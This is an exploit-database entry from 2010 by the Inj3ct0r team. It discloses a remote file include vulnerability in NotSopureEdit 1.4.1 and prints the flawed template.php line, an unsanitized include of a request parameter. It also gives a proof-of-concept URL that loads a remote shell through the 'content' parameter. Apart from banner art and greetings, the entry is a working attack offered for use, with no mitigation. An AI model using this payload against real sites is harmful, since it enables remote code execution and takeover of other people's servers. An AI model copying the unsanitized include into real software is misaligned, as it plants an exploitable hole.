[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : NotSopureEdit <= 1.4.1 Remote File Include Vulnerability
# Published : 2010-03-21
# Author : cr4wl3r
# Previous Title : WebMaid CMS <= 0.2-6 Beta Multiple Remote File Include Vulnerability
# Next Title : 4x cms <= r26 (Auth Bypass) SQL Injection Vulnerability
========================================================
NotSopureEdit <= 1.4.1 Remote File Include Vulnerability
========================================================
[+] NotSopureEdit <= 1.4.1 Remote File Include Vulnerability
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' __ /'__` / __ /'__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /' _ ` / /_/__<_ /'___ / /`'__ 0
0 / / / / __/ _ _ / 1
1 _ _ __ ____/ ____\ __\ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1
1 ____/ >> Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ###################################### 1
0 I'm cr4wl3r member from Inj3ct0r Team 1
1 ###################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11393
[+] Download : http://code.google.com/p/notsopureedit/downloads/list
[+] Code [template.php]: <?php include($content); ?>
[+] PoC: [path]/templates/template.php?content=[Shell]
[+] Greetz: All member inj3ct0r.com
# Inj3ct0r.com [2010-03-22]